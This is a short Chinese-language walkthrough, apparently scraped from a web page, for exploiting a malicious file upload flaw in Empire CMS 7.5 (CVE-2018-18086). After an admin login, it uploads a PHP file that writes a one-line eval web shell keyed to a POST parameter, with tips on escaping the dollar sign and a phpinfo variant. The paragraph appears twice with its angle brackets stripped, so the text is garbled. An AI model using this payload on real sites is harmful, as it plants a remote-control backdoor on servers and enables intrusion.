登录管理员页面这里经过多次测试直接上传一句话样本文件的话不生效避坑并且$符需要做转义避坑,否则方式1?php file_put_contents(getshell.php,?php eval(\$_POST[777]); ?);?其中函数file_put_contents()把内容写进一个文件里。常用函数方式2?php file_put_contents(getphpinfo.php,?php phpinfo(); ?);?访问x.x.x.x/e/admin/getphpinfo.php
Empire（帝国）CMS 7.5 恶意文件上传-CVE-2018-18086
登录管理员页面这里经过多次测试直接上传一句话样本文件的话不生效避坑并且$符需要做转义避坑,否则方式1?php file_put_contents(getshell.php,?php eval(\$_POST[777]); ?);?其中函数file_put_contents()把内容写进一个文件里。常用函数方式2?php file_put_contents(getphpinfo.php,?php phpinfo(); ?);?访问x.x.x.x/e/admin/getphpinfo.php
